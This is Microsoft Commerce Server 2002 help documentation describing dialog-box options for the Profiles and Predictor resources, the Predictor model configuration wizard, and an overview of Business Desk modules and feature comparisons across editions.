Description | Type a short description for the data member. The description can contain a maximum of 127 Unicode characters.
Type Select the data type for the data member. The following data types are supported:
  • Binary
  • Boolean
  • Currency
  • Date/Time
  • Number
  • String
Multivalued | Select this check box to enable the collection of multiple values that are associated with the data member.
Required | Select this check box if the data member is required. Otherwise, it will be optional.
Indexed | Select this check box if the data will be indexed on this data member.
Primary key | Select this check box to designate this data member as the primary key. You must select one data member in each data object to be the primary key.
Add | Click to add the new data member to the data member list.
Finished | Click to close the New Data Member dialog box and update the Commerce Server Manager details pane.

See Also

Data Sources

Creating a New Data Source in the Profiles Resource

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Data Sources


<Data Member> Properties, General Tab

You use the Profiles resource to change the following properties of a data member:

  • Display name
  • Description

The following table shows the options and functions available on the General tab in the <Data Member> Properties dialog box.

Use this | To do this
Name | View the programmatic name of the data member. You cannot change the name.
Display Name | Edit the name that will be displayed for the data member. The display name can contain a maximum of 127 Unicode characters.
Description | Edit the description of the data member. The description can contain a maximum of 127 Unicode characters.

See Also

Data Sources

Creating a New Data Source in the Profiles Resource

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Data Sources


<Data Member> Properties, Properties Tab

The following table shows the options and functions available on the Properties tab in the <Data Member> Properties dialog box.

Use this | To do this
Type | Select a new type for the data member from this drop-down list.
Multivalued | Select this check box if the database column (or LDAP attribute) the data member is used to map to is multivalued.
Required | Select this check box if the database column (or LDAP attribute) the data member is used to map to is required.
Index | Select this check box if the database column (or LDAP attribute) the data member is used to map to is indexed.
Primary Key | Select this check box if the database column (or LDAP attribute) the data member is used to map to is a primary key.

See Also

Data Sources

Creating a New Data Source in the Profiles Resource

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Data Sources


<Data Object> Properties, Identity Tab

The following table shows the options and functions available on the Identity tab in the <Data Object> Properties dialog box.

Use this | To do this
Name | View the name of the data object.
Display Name | Edit the display name of the data object. The display name can contain a maximum of 127 Unicode characters.
Description | Edit the description of the data object. The description can contain a maximum of 127 Unicode characters.

See Also

Data Sources

Creating a New Data Source in the Profiles Resource

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Data Sources


New Profile Definition Dialog Box

You use the Profiles resource to create new profile definitions. For example, the business manager may ask you to create a new profile definition to make additional data available from your Web site and Commerce Server Business Desk. You can create a profile definition that is automatically mapped to a data object. You can also create a profile definition that is not mapped to a data object. You use profile definitions to define the data that you collect about users who visit your Web site.

The following table shows the options and functions available in the New Profile Definition dialog box.

Use this | To do this
Name | Type a programmatic name for the new profile. The name can contain a maximum of 127 alphanumeric characters, and the underscore (_) symbol. The name cannot contain spaces.
Display Name | Type the name that will be displayed for the new profile. The display name can contain a maximum of 127 Unicode characters.
Description | Type a description for the new profile. The description can contain a maximum of 127 Unicode characters.

See Also

Profile Definitions

Sample Profile Definitions

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Profile Definitions


Copy Profile Definition Dialog Box

To create a new profile definition, you can copy an existing profile definition and use the profile designer screen to change the name and attributes of the new profile definition.

The following table shows the options and functions available in the New Profile Definition dialog box.

Use this | To do this
Name | Type a programmatic name for the new profile. The name can contain a maximum of 127 alphanumeric characters, and the underscore (_) symbol. The name cannot contain spaces.
Display Name | Type the name that will be displayed for the new profile. The display name can contain a maximum of 127 Unicode characters.
Description | Type a description for the new profile. The description can contain a maximum of 127 Unicode characters.

See Also

Profile Definitions

Sample Profile Definitions

Adding Properties to Profile Definitions

Creating a Profile Definition with Two Data Sources

Managing Profile Definitions


<Data Source> Properties, General Tab

You add a custom attribute to a data source partition

In the <data source> Properties dialog box, on the Partitions tab, select the partition to which you want to add a custom attribute, and then click Edit.

The following table shows the options and functions available in the <Data Source> Properties dialog box.

General Tab

Use this | To do this
Name | View the name of the data source.
Display Name | Edit the name that will be displayed for the data source. The display name can contain a maximum of 127 Unicode characters.
Description | Edit the description of the data source. The description can contain a maximum of 127 Unicode characters.

Data Source Tab

Use this | To do this
Source Type | Select the source type, either LDAPV3-Compliant Source or OLEDB-ANSI Provider.

Partitions Tab

Use this | To do this
Partitioned Data-Source | Select to create multiple partitions for this data source.
Number of Partitions | View the number of existing partitions for the data source.
Add | Click to open the Partition dialog box and create a new partition.
Edit | Click to open the Partition dialog box and edit the selected partition.

See Also

Data Sources

Data Source Partitions

Creating a New Data Source in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources


Site Term Properties Dialog Box

Site term properties map to string data members and have a maximum length of 255 Unicode characters. Multiple values of a site term property are stored as a semicolon-separated string.

The following table shows the options and functions available in the Site Term Properties dialog box.

General Tab

Use this | To do this
Name | View the programmatic name of the profile definition you are editing.
Display Name | Edit the display name of the profile. The display name can contain a maximum of 127 Unicode characters.
Description | Edit the description of the profile. The description can contain a maximum of 127 Unicode characters.

Custom Attributes Tab

Use this | To do this
New | Click to open the Custom Attribute dialog box and create a new custom attribute.
Edit | Click to open the Custom Attribute dialog box and edit the selected custom attribute.
Delete | Click to delete the selected custom attribute.


Custom Attributes Dialog Box

You use the Profiles resource to add custom attributes to a data source partition. Custom attributes are application specific. Typically, the attributes that are common to all profile definitions or data stores are stored in the ClassDef or SourceDef table. However, there might be specific attributes that apply only to certain selected data source objects. For example, you can create a custom attribute to maintain the sort order of data sources or partitions on a data source, or to help you maintain consistency with other objects, such as member definition and source definition objects. Data source custom attributes are available only within the Profiles resource.

The following table shows the options and functions available in the Custom Attribute dialog box.

Use this | To do this
Name | Type a programmatic name for the attribute. The name can contain a maximum of 127 alphanumeric characters, and the underscore (_) symbol. The name cannot contain a space.
Display Name | Type the name that will be displayed for the attribute. The display name can contain a maximum of 127 Unicode characters.
Description | Type a short description for the attribute. The description can contain a maximum of 127 Unicode characters.
Value | Type the value assigned to the attribute.


Predictor Resource UI Help

This section contains the context-sensitive help topics for the Commerce Server 2002 Predictor resource. These topics are available from the Predictor resource user interface by clicking Help in Predictor resource dialog boxes.

This section contains:

  • Predictor on <server name> Properties, General Tab
  • Model Build Properties
  • Import Model Properties
  • Save New Model


Predictor on <server name> Properties, General Tab

The following table shows the options and functions available on the General tab of the Predictor on <server name> Properties dialog box.

Use this | To do this
Name | View the name of the Predictor resource.
Host name | View the server name on which the Predictor resource is installed.
Last started | View the date and time the Predictor resource was last started.

See Also

About the Predictor Resource


Model Build Properties

The following table shows the options and functions available in the Model Build Properties dialog box.

Use this | To do this
Name Type a name between 1 and 96 characters for the analysis model.

Note

  • Using extremely long model names is not recommended.
Model type Select an analysis model type to build. Selections are:
  • Prediction. Select this option to build a prediction model to make recommendations on your site.
  • Segment. Select this option to build a segment model to view user segments in the Commerce Server Business Desk Segment Viewer module.
Sample size | Type the number of cases between 1 and 2147483647 that are to be used to build the analysis model. You can change the default value if necessary. The default is -1 (all data).
Measured accuracy sample fraction | Type the fraction of the sample data you want to use to automatically score the accuracy of the model as a number between 0.0 and 1.0. For example, if you type 0.0 as the value of the Measured accuracy fraction, the model will not be scored. If you type 0.4, 40 percent of the sample data will be used to score the model (the remaining 60 percent is used to build the model).
Measured accuracy maximum predictions | Type the maximum number of recommendations to be presented on your site (used to compute the "Recommendation score"). The default is 10 attributes.
Input property fraction | Type the fraction of properties to be used as input to the predictions as a number between 0.0 and 1.0. For example, specifying an input attribute fraction of 0.05 selects the most significant 5 percent of input attributes. The default value is 1.0, which includes all attributes as inputs for prediction. Values less than 1.0 are recommended if the number of attributes is very large, such as product recommendations for a catalog with over 1,000 products.
Output property fraction | Type the fraction of properties to be predicted as a number between 0.0 and 1.0. For example, specifying an output attribute fraction of 0.05 results in trees being built for the most significant 5 percent of attributes. (If the output attributes are products, this will return trees for the 5 percent most popular products.) The default value is 1.0, which produces trees for all attributes. Values less than 1.0 are recommended if the number of attributes is very large, such as product recommendations for a catalog with over 1,000 products.
Number of segments | Type the maximum number of segments in which to partition the users. This is an initial hint for the algorithm, which might find fewer significant segments than this value. This value is only available if you are building a segment model.
Buffer size (MB) | Type the size of the buffer that will be used to read cases during segmentation. The default is 1 megabyte (MB). The buffer size can affect the build time and quality of the model. For example, if the model contains many attributes, you should set a large buffer size. The system resources of the computer running the Predictor resource determine buffer size limitations. This value is only available if you are building a segment model.

See Also

About the Predictor Resource

Predictor Best Practices

Analysis Model Effectiveness


Import Model Properties

The following table shows the options and functions available in the Import model properties dialog box.

Use this | To do this
File name | Type the name of the file to import.
Model name | Type a name for the model.
Destination data warehouse | Select the name of the data warehouse to which you want to import the properties.
Model configuration | Select the name of the model configuration.


Save New Model

The following table shows the options and functions available in the Import model properties dialog box.

Use this | To do this
File name | Type the name of the file to import.
Model name | Type a name for the model.
Destination data warehouse | Select the name of the data warehouse to which you want to import the properties.
Model configuration | Select the name of the model configuration.


Predictor Model Configuration Setup Wizard

You use the Predictor Model Configuration Setup Wizard to add new model configurations to the Predictor resource.

To start the Predictor Model Configuration Setup Wizard:

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Global Resource, expand Predictor on <server name>, expand Predictor Service, right-click Model Configurations, and then select Add Model Configurations.

The Predictor Model Configuration Setup Wizard starts.

This section contains:

  • Welcome Dialog Box
  • Configuration Selection Dialog Box
  • Transaction Model Configuration Dialog Box
  • Demographics Model Configuration Dialog Box
  • Product Browsing Model Configuration Dialog Box
  • Ad Click Model Configuration Dialog Box
  • Completing the Model Configuration Setup Wizard Dialog Box

See Also

Running the Predictor Resource

Analysis Model Configurations

Importing Data into the Data Warehouse


Welcome Dialog Box

You use the Predictor Model Configuration Setup Wizard to add new model configurations to the Predictor resource.

Using this wizard, you will perform the following steps:

  • Select model configurations you want to set up for your Web site.
  • Configure each of the selected model configurations by specifying columns in the default view, custom table, or view that correspond to the required properties when building the analysis model.

After you finish setting up model configurations by using the Predictor Model Configuration Setup Wizard, you can create analysis models based on these model configurations and use them on your Web site.

See Also

Workflow for the Predictor Resource

Analysis Model Configurations

Setting Up Model Configurations

Custom Model Configurations

Best Practices for the Predictor Resource

Predictor Resource Tutorial

Predictor Schema

Importing Data into the Data Warehouse


Configuration Selection Dialog Box

You use this dialog box to select the model configurations you want to set up and the site for which you want to build model configurations.

The following table shows the options and functions available in the Configuration selection page dialog box.

Use this | To do this
Select the site to set up the model configuration | Select the site name for which you want to build the model configurations from the drop-down list.
Select the model configurations you want to set up Select any of the following model configurations from the list provided:
  • Transactions Model Configuration. Use to build analysis models that predict the products that users are likely to buy. For example, your site could present each user with a personalized list of product recommendations.
  • Demographics Model Configuration. Use to build analysis models that predict the demographic characteristics that your users are likely to share. For example, you can use the demographic analysis models to improve your understanding of the registered users who visit your site.
  • Combined Transactions and Demographics Model Configuration. Use to build analysis models that predict likely relationships between demographic characteristics and product purchases. The accuracy of this model is directly proportional to the number of registered users on your Web site.
  • Product Browsing Model Configuration. Use to build analysis models that predict the products that your users are likely to browse. For example, you can place links on your site that are relevant to your users.
  • Ad Click Model Configuration. Use to build analysis models that predict the ads that your users are likely to click.
Use Defaults | Click this button to make the wizard skip pages where default values are available.

See Also

Workflow for the Predictor Resource

Analysis Model Configurations

Setting Up Model Configurations

Custom Model Configurations

Best Practices for the Predictor Resource

Predictor Resource Tutorial

Predictor Schema

Importing Data into the Data Warehouse


Transaction Model Configuration Dialog Box

Use the Transaction model configuration to build analysis models that predict the products that users are likely to buy. For example, your site could present each user with a personalized list of product recommendations.

You use this dialog box to specify columns in the default view, custom table, or view that correspond to the required properties when building a Transaction model configuration for your Web site.

The following table shows the options and functions available in the Transaction Model Configuration dialog box.

Use this | To do this
Transactions model configuration | Select this check box to set up the Transactions model configuration.
Table or View name | From the drop-down list, select the name of the table or the view that contains the transactional data from your Web site.
User ID | From the drop-down list, select the name of the column in the selected table that contains the buyer user data.
SKU | From the drop-down list, select the name of the column in the selected table that contains the stock-keeping unit (SKU) data.
Quantity | From the drop-down list, select the name of the column in the selected table that contains the quantity data.

See Also

Workflow for the Predictor Resource

Analysis Model Configurations

Setting Up Model Configurations

Custom Model Configurations

Best Practices for the Predictor Resource

Predictor Resource Tutorial

Predictor Schema


Demographics Model Configuration Dialog Box

Use the Demographics model configuration to build analysis models that predict the demographic characteristics that your users are likely to share. For example, you can use the demographic analysis models to improve your understanding of the registered users who visit your site.

The Demographics model configuration requires you to collect specific data with the User Object profile definition. For information about extending the User Object profile definition to collect the required demographic data, see Adding Demographic Properties to the User Profile Definition.

You use this dialog box to specify columns in the default view, custom table, or view that correspond to the required properties when building a Demographics model configuration for your Web site. The following table shows the options and functions available in the Demographics Model Configuration dialog box:

Note

  • At least one property must be used to create the Demographics model configuration. You can clear properties that you do not want to use in the model configuration.
Use this | To do this
Setup Demographics model configuration | Select this check box to set up the Demographics model configuration.
Table or view name | From the drop-down list, select the name of the table or view that contains the demographic data of your users.
User ID | From the drop-down list, select the name of the column in the selected table that contains the user data.
Age | From the drop-down list, select the name of the column in the database that contains the age of the user.
Occupation | From the drop-down list, select the name of the column in the database that contains the occupation of the user.
Marital Status | From the drop-down list, select the name of the column in the database that contains the marital status of the user.
Gender | From the drop-down list, select the name of the column in the database that contains the gender of the user.
Income | From the drop-down list, select the name of the column in the database that contains the income of the user.
Education | From the drop-down list, select the name of the column in the database that contains the education level of the user.
Children | From the drop-down list, select the name of the column in the database that contains the number of children of the user.
Family Role | From the drop-down list, select the name of the column in the database that contains the family role of the user.
Region | From the drop-down list, select the name of the column in the database that contains the region of the user.
Use Defaults | Click to set the mapping for all properties used by this model configuration to the Commerce Server default schema. The default Commerce Server schema gathers the data from UriQuery, Visits and Request tables, which are populated by the Web Server Log Import DTS task. For more information, see ETL for the Web Server Log Import DTS Task.

See Also

Adding Demographic Properties to the User Object Profile Definition

Workflow for the Predictor Resource

Analysis Model Configurations

Setting Up Model Configurations

Custom Model Configurations

Best Practices for the Predictor Resource

Predictor Resource Tutorial

Predictor Schema


Product Browsing Model Configuration Dialog Box

Use the Product Browsing model configuration to build analysis models that predict the products that your users are likely to browse. For example, you can place links on your site that are relevant to your users.

You use this dialog box to specify columns in the default view, custom table, or view that correspond to the required properties when building a Product Browsing model configuration for your Web site.

The following table shows the options and functions available in the Product Browsing Model Configuration dialog box:

Use this | To do this
Set up Product Browsing model configuration | Select this check box to set up the Product Browsing model configuration.
Table or view name | From the drop-down list, select the name of the table or view that contains the product browsing data.
User ID | From the drop-down list, select the name of the column in the selected table that contains the browsing user data.
Page ID | From the drop-down list, select the name of the column in the selected table that contains data about page identifiers a user has browsed.
Page Head Count | From the drop-down list, select the name of the column in the selected table that contains data about the number of times a user has viewed the page.
Use Defaults | Click to set the mapping for all properties used by this model configuration to the Commerce Server default schema. The default Commerce Server schema gathers the data from UriQuery, Visits and Request tables, which are populated by the Web Server Log Import DTS task. For more information, see ETL for the Web Server Log Import DTS Task.

See Also

Workflow for the Predictor Resource

Analysis Model Configurations

Setting Up Model Configurations

Custom Model Configurations

Best Practices for the Predictor Resource

Predictor Resource Tutorial

Predictor Schema


Ad Click Model Configuration Dialog Box

Use to the Ad Click model configuration to build analysis models that predict the ads that your users are likely to click.

You use this dialog box to specify columns in the default view, custom table, or view that correspond to the required properties when building an Ad Click model configuration for your Web site.

The following table shows the options and functions available in the Ad Click Model Configuration dialog box:

Use this | To do this
Setup Ad Click model configuration | Select this check box to set up the Ad Click model configuration.
Transaction data | Select this check box to use transaction data for predicting ad clicks. You must select at least one data source for predicting ad clicks.
Demographic data | Select this check box to use demographic data of registered users for predicting ad clicks. You must select at least one data source for predicting ad clicks. If you select this option, the Ad Click model configuration will use transaction and product browsing data for registered users only.
Product browsing data | Select this check box to use product browsing data for predicting ad clicks. You must select at least one data source for predicting ad clicks.
Table or view name | From the drop-down list, select the name of the table or view that contains the data about ads that users clicked.
User ID | From the drop-down list, select the name of the column in the selected table that contains the User ID data.
Ad ID | From the drop-down list, select the name of the column in the selected table that contains data about which ads were shown or clicked.
ClicksNum | From the drop-down list, select the name of the column in the selected table that contains data about the number of times the ad was clicked by the user. If an ad was shown, but not clicked, the value of ClicksNum should be 0.

See Also

Workflow for the Predictor Resource

Analysis Model Configurations

Setting Up Model Configurations

Custom Model Configurations

Best Practices for the Predictor Resource

Predictor Resource Tutorial

Predictor Schema


Completing the Model Configuration Setup Wizard Dialog Box

You have successfully completed the Predictor Model Configuration Setup Wizard. This dialog box lists the model configurations that you can use to build new analysis models. For instructions, see Building a New Analysis Model.

See Also

Workflow for the Predictor Resource

Analysis Model Configurations

Setting Up Model Configurations

Custom Model Configurations

Best Practices for the Predictor Resource

Predictor Resource Tutorial

Predictor Schema


Working with Business Desk

This section describes how to manage your Web site by using Commerce Server Business Desk. This section explains choosing and updating site content, changing the ads displayed to premier users, updating the catalog and publishing those changes, and running reports to measure how those changes affect site productivity.

Note

The Commerce Server 2002 contains two sets of documentation:

  • Commerce Server 2002 Help. This is the complete documentation set you currently have installed. It provides links and relevant information for site developers and system administrators. System administrators can provide the complete Commerce Server 2002 Help set to Business Desk users by copying the Commerce_Server.chm file onto a shared folder.
  • Business Desk Help (from the Business Desk client). This is a subset of the Commerce Server 2002 Help. It is installed when you install the Business Desk client. With this subset, you have limited access to the Commerce Server 2002 Help. However, a link to the Commerce Server Concepts topic in Commerce Server 2002 Help is provided.

This section contains:

  • Getting Started with Business Desk. Describes components of Business Desk, describes how to customize and configure Business Desk, and explains what you must do first to use Business Desk.
  • Business Desk Analysis. Explains how to set up and run reports that you use to analyze the activity on your Web site.
  • Business Desk Campaigns. Explains how to create and manage campaigns of different types (ads, discounts, and direct mail) to target different user groups, extend the reach of your business, and increase sales.
  • Business Desk Catalogs. Explains how to create a catalog schema, and how to create and manage a catalog.
  • Business Desk Orders. Explains how to check the status of an order and how to manage order templates, baskets, and the purchase order approval process. Explains how to add, change, and delete different types of data codes.
  • Business Desk Profiles. Explains how to add new registered users and organizations, how to add properties to profile definitions, and how to add site terms.
  • Business Desk Security. Explains how to set user access to specific categories or modules in Business Desk.
  • Troubleshooting Business Desk. Explains how to troubleshoot and resolve common problems that you might encounter when using Business Desk.


Getting Started with Business Desk

This section provides information for new users of Commerce Server Business Desk.

This section contains:

  • Business Desk Overview. Describes the Business Desk application and the Business Desk client. Describes how Business Desk can be configured to meet your needs.
  • Business Desk Basics. Describes how to navigate Business Desk, secure Business Desk modules, and use keyboard shortcuts.
  • What to Do First. Lists the steps you must perform to get your Web site up and running and ready for business.
  • Common Tasks. Lists the most common tasks performed using Business Desk and provides links to the appropriate Help topics.
  • Example: Closing the Loop. Explains how to analyze business data collected on your Web site; you can then use the results of your analysis to update your site.
  • Using Business Desk Help. Explains how to search for and print Help topics.
  • If You Need Additional Help. Lists the tasks that your system administrator or site developer can help you perform.


Business Desk Overview

Commerce Server Business Desk is a Web-based site management tool included with Microsoft Commerce Server 2002. Business Desk hosts business management modules that you use to configure, manage, and analyze your sites. For example, you use Business Desk modules to create multilingual catalogs, update pricing information in your catalogs in multiple currencies, target new advertisements to specific users, and then run reports to measure how these changes affect site productivity.

Note

The Commerce Server 2002 contains two sets of documentation:

  • Commerce Server 2002 Help. This is the complete Commerce Server 2002 Help. It provides links and relevant information for site developers and system administrators. System administrators can provide the complete Commerce Server 2002 Help set to Business Desk users by copying the commerce_server.chm file onto a shared folder.
  • Business Desk Help (from the Business Desk client). This is the documentation set you currently have installed when you installed the Business Desk client. It is a subset of the Commerce Server 2002 Help. With this subset, you have limited access to the Commerce Server 2002 Help. However, a link to the Commerce Server Concepts topic in Commerce Server 2002 Help is provided.

Business Desk includes targeted, role-based security, which means Business Desk users can view and manage only those modules for which they are authorized, and can perform only the specific tasks for which they are authorized.

This section contains:

  • Business Desk Features at a Glance
  • Comparison of Features in Editions of Business Desk
  • Business Desk User Interface Changes
  • Business Desk Application and Client
  • Business Desk Modules and Categories
  • Updating Your Web Site with Business Desk
  • Customizing Business Desk
  • System Administrator Tasks


Business Desk Features at a Glance

The following table contains an overview of each Commerce Server Business Desk feature.

Business Desk feature Tasks you can perform
Analysis
  • Analyze site effectiveness by running Commerce Server reports or by creating your own custom reports.
  • Identify which products are selling by running Commerce Server reports. Use the list of products to create discount campaigns.
  • Identify specific groups of users by running a report, and then export the results to a list. Use the list in a direct mail campaign, or to update the properties of the users, so you can target merchandise or content to them.
  • Review collected data to identify emerging trends and new user segments, and to view the properties of the segments.
  • Use Prediction models to create affinity lists: lists of users who might buy a specific product. Export the lists to the List Manager module, and then send direct mail to the set of users who might buy the product.
Campaigns
  • Apply discounts to products.
  • Personalize the buying experience with targeted merchandising.
  • Deliver the optimal content for a given user in a given context.
  • Create, analyze, and manage personalized and targeted discounts, and direct marketing and advertising campaigns.
  • Target ads or discounts to users in a specific profile. For example, you can target ads to female users who visit your site three times a week and have purchased three or more products.
  • Create and schedule campaigns for customers who compete within the same industry, so that the competing ads are never shown on the same page.
  • Charge your advertising customers based on the number of ad requests or clicks they want their ads to receive.
  • Charge your advertising customers based on the page on which they want their ad to appear.
Catalogs
  • Create and update catalogs of products to sell.
  • Create multilingual catalogs.
  • Create multicurrency catalogs.
  • Build virtual catalogs with special pricing and/or special groups of products for specific users.
  • Import catalogs of products from other data sources in Extensible Markup Language (XML) or comma-separated values (CSV) format.
  • Export catalogs in XML or CSV format.
  • Export changes to a catalog since a certain date.
  • Add search capabilities, such as the following, to make it easy for users to find what they need on your Web site:
    • Category search. Browse by product category.
    • Free-text search. Find products by full or partial name or property.
    • Property search. Find products based on a property value, such as Price < $10.
    • Specification search. Refine the search request until the product is found.
  • Exchange catalog data with vendors by using Microsoft BizTalk Server 2000 or later.
Orders
  • Add multilingual shipping methods.
  • Add tax rates for specific countries/regions and states/provinces.
  • Search your Commerce Server orders database for existing order information.
  • Delete saved baskets that are no longer in use.
Profiles
  • Manage millions of users and organizations.
  • Build profiles for any business-related entity, such as users and organizations.
  • Determine what information to collect about users visiting your site.
  • Determine which catalog sets to display to specific users.
  • Analyze profile information to determine who is visiting your site.
  • Create target expressions to match content to users.
  • Create advertising, discount, and direct mail campaigns to target specific user groups.
Security
  • Grant permissions to Windows account users to perform specific tasks in Business Desk.
  • Grant permissions to Windows account users to access specific Business Desk modules.
  • Grant permissions to Windows account users to access specific catalogs, catalog properties, and catalog categories.
  • Grant permissions to Windows account users to manage profile properties.


Comparison of Features in Editions of Business Desk

This topic summarizes the features supported by the different versions of Commerce Server Business Desk: Commerce Server 2002 Enterprise Edition, Commerce Server 2002 Standard Edition, and Commerce Server 2000.

Analysis Features

Campaigns Features

Catalogs Features

Orders Features

Profiles Features

Security Features

Analysis Features

This table compares support for Analysis features in the different editions of Business Desk.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Create new reports | Yes | Yes | No
Customize reports | Yes | No | Yes
Export reports as lists to the List Manager module | Yes | No | Yes
Analyze Segment models | Yes | No | Yes
Export affinity lists to the List Manager module | Yes | No | No
Report drill-through capability | Yes | Yes | No
Cross-domain reporting | Yes | Yes | No

Campaigns Features

This table compares support for Campaigns features in the different editions of Business Desk.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Create multilingual ads and discounts | Yes | Yes | No
Create targeting discounts | Yes | Yes | Yes
Create targeted ads | Yes | Yes | Yes
Create targeted direct mail | Yes | Yes | Yes
Schedule campaigns for customers who compete within the same industry | Yes | Yes | Yes
Set billing rates for advertisers based on the number of ad requests or clicks they want to receive | Yes | Yes | Yes
Set different billing rates for advertisers based on the Web pages on which they display an ad | Yes | Yes | Yes

Catalogs Features

This table compares support for Catalogs features in the different editions of Business Desk.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Multicurrency pricing | Yes | Yes | No
Multilingual catalogs | Yes | Yes | No
Virtual catalogs | Yes | Yes | No
Catalog sets | Yes | Yes | Yes
Custom catalogs | No (replaced by virtual catalogs) | No (replaced by virtual catalogs) | Yes
Aggregated content from multiple catalogs | Yes | Yes | No
Validate the content of an XML catalog file without importing it | Yes | Yes | No
Import and export catalog item deletions | Yes | Yes | No
Export changes to a catalog since a certain date | Yes | Yes | No
Create relationships between products and across catalogs | Yes | Yes | No
Exchange catalog data with vendors by using Microsoft BizTalk Server | Yes | Yes | Yes
More than 256 catalogs allowed per site | Yes | Yes | No
Longer text fields for products (not subject to the 8 KB/row limit) | Yes | Yes | No

Orders Features

This table compares support for Orders features in the different editions of Business Desk.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Add multilingual shipping methods | Yes | Yes | No
Add shipping methods | Yes | Yes | Yes
Add tax rates for specific countries/regions and states/provinces | Yes | Yes | Yes
Search your Commerce Server orders database for existing order information | Yes | Yes | Yes
Delete saved baskets that are no longer in use | Yes | Yes | Yes

Profiles Features

This table compares support for Profiles features in the different editions of Business Desk.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Profile definition design interface | Yes | Yes | Yes
Profile editing | Yes | Yes | Yes (limited to users and organizations)
Site term editing | Yes | Yes | Yes
Microsoft Active Directory group management | Yes | Yes | No
Multi-valued profiles | Yes | Yes | No
Multi-valued site terms | Yes | Yes | No
Embedded profile editing | Yes | Yes | No
Generic profile editing | Yes | Yes | No
Import and export profile schema | Yes | Yes | No

Security Features

This table compares support for Security features in the different editions of Business Desk.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Security settings for individual Business Desk modules | Yes | Yes | Yes
Security settings for Business Desk tasks | Yes | Yes | No
Security settings for managing catalogs | Yes | Yes | No
Security settings for managing catalog properties | Yes | Yes | No
Security settings for managing catalog categories | Yes | Yes | No
Security settings for managing profile properties | Yes | Yes | No


Business Desk User Interface Changes

The following table lists the user interfaces that have been changed or added, together with the category and module where they were located in Commerce Server 2000, and their new location in Commerce Server 2002.

Commerce Server 2000
categories and modules 		Commerce Server 2002
categories and modules
Users
Profile Designer
N/A
 Profiles
Profile Definition Designer
Profile Editor
Orders
Publish Transactions
 Orders
Publish Order Codes
Catalogs
Catalog Designer
Catalogs
Catalog Definition Designer
Profiles
N/A
 Profiles
Group Manager (for Supplier site)
Analysis
N/A
 Analysis
Affinity Lists
N/A
N/A
 Security
Permissions


Business Desk Application and Client

Business Desk has two parts: the Business Desk application and the Business Desk client.

  • Business Desk application. The management tool you use to configure, manage, and analyze your site. After you install Commerce Server, you must unpack a Solution Site to install a Business Desk application. Business Desk applications are available only in Solution Site packages.

    Business Desk is accessible from any computer running Microsoft Internet Explorer 5.5, providing you with secure remote access.

  • Business Desk client. The client software that is installed locally on your computer, providing the interface to the Business Desk application. When you first access the Business Desk application (by using a URL), the Business Desk client is downloaded and installed onto your computer. It is recommended that the computer on which you run the Business Desk client have a high-speed connection to the Business Desk application.

The following figure shows how you can use Business Desk clients to remotely access the Business Desk application to update a Web site.

A figure illustrating how you use Business Desk.


Business Desk Modules and Categories

You use modules, the main components of Commerce Server Business Desk, to manage different aspects of your site. Categories provide organizational containers for the modules. For example, the Analysis category contains all the modules that you use to perform analysis tasks.

The following table lists the Business Desk modules and the categories that contain them, and describes the tasks you can do with each one.

Category Description
Analysis

Reports
Completed Reports
Segment Viewer
Affinity Lists

 Run and review reports that represent your site activity, and perform predictive analysis. The Analysis modules come with a rich set of reports covering various aspects of your site. You can also create your own reports and customize existing reports.
Campaigns

Campaign Manager
List Manager
Campaign Expressions
Target Group
Reference Tables
Publish Campaigns

 Create and schedule marketing campaigns. You add customer information and manage campaigns and campaign items. Examples of campaign items are advertising banners, direct mail jobs, and product discounts. Each campaign item can be targeted to specific users, thereby creating a highly personalized site.
Catalogs

Catalog Definition Designer
Catalog Editor
Catalog Sets

 Import catalogs, create catalogs, and add and price products. Create virtual catalogs that support multiple currencies, contain special prices, and are displayed only to certain users, for example, members of a club.
Orders

Basket Manager
Location Codes
Order Status Codes
Order Status
Shipping Methods
Tax Rates
Publish Order Codes

 Search the Commerce Server database for existing order information, and add, delete, approve, and change order information. Add, delete, and change shipping rates and tax rates.
Profiles

Profile Editor
Users
Organizations
Group Manager
Profile Definition Designer
Site Terms Editor
Publish Profiles

 Create and change users, organizations, and profiles. Create and change site terms.

Note

  • The Group Manager module appears in Business Desk only if your Web site uses Active Directory. For more information, contact your system administrator.
Security

Permissions

 Grant, deny, and view Business Desk permissions to Windows accounts. These permissions control the level of access users have to each module in Business Desk.

See Also

Updating Your Web Site with Business Desk

System Administrator Tasks

Business Desk Basics

What to Do First


Updating Your Web Site with Business Desk

The following figure shows how you can use the Commerce Server Business Desk modules to update your Web site. For example, site data is gathered from your Web site and imported into the Data Warehouse, and then you can run analysis reports.

A figure showing how Business Desk modules update your Web site.

The following list describes the module tasks shown in the previous figure:

  • You use the Analysis modules to run reports on user transactions that are stored in the Data Warehouse.
  • You use the Campaigns modules to create and display advertisements, discounts, and promotions.
  • You use the Catalogs modules to update information in your catalog.
  • You use the Orders modules to take orders on your Web site and to research user orders.
  • You use the Profiles modules to reset user passwords, change other user profile information, and determine what profile data to collect.

See Also

Business Desk Modules and Categories

System Administrator Tasks

Business Desk Basics

What to Do First


Customizing Business Desk

Site developers and system administrators can customize Commerce Server Business Desk to meet your business needs.

The following table describes several areas where you will coordinate customization with your system administrator or your site developer.

Business Desk component Customization and coordination
Analysis: Reports module
  • Your site developer can create new or customized reports for your business needs. You can also create custom reports based on the existing dynamic reports in the Reports module in Business Desk.
  • The system administrator is responsible for importing data into the Data Warehouse on a regular basis. After data is imported into the Data Warehouse, you can run reports against the data and analyze it.
  • The system administrator can customize which data from the Web log files is imported into the Data Warehouse and can set user and visit definitions that affect the results of the reports you run.
Analysis: Segment Viewer module
